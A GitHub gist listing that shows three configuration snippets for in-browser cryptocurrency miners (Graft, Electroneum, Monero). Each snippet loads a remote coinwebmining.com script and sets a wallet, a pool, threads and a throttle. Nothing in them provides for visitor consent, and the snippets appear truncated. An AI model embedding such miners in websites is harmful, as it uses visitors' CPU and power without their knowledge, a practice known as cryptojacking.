Skip to content

Instantly share code, notes, and snippets.

@coinwebmining
coinwebmining / graft.js
Created May 4, 2018 17:24
Graft Javascript Miner (CryptoNightV7)
<script src="https://coinwebmining.com/cwm.js"></script>
<script>
var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website
var coin = 'graft';
var wallet = '{yourWalletAddress}';
var password = 'x';
var mining_pool = 'mining.grftpool.com:3333'; //or check https://coinwebmining.com/browser-miner/graft for more mining pools
var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16.
var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining.
var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works.
@coinwebmining
coinwebmining / electroneum.js
Last active June 1, 2018 04:31
Electroneum Javascript Miner (CryptoNightV7)
<script src="https://coinwebmining.com/cwm.js"></script>
<script>
var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website
var coin = 'electroneum';
var wallet = '{yourWalletAddress}';
var password = 'x';
var mining_pool = 'pool.electroneum.hashvault.pro:80'; //or check https://coinwebmining.com/browser-miner/electroneum for more mining pools
var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16.
var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining.
var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works.
@coinwebmining
coinwebmining / monero.js
Created May 3, 2018 18:52
Monero Javascript Miner (CryptoNightV7)
<script src="https://coinwebmining.com/cwm.js"></script>
<script>
var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website
var coin = 'monero';
var wallet = '{yourWalletAddress}';
var password = 'x';
var mining_pool = 'moneroocean.stream'; //or check https://coinwebmining.com/browser-miner/monero for more mining pools
var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16.
var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining.
var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works.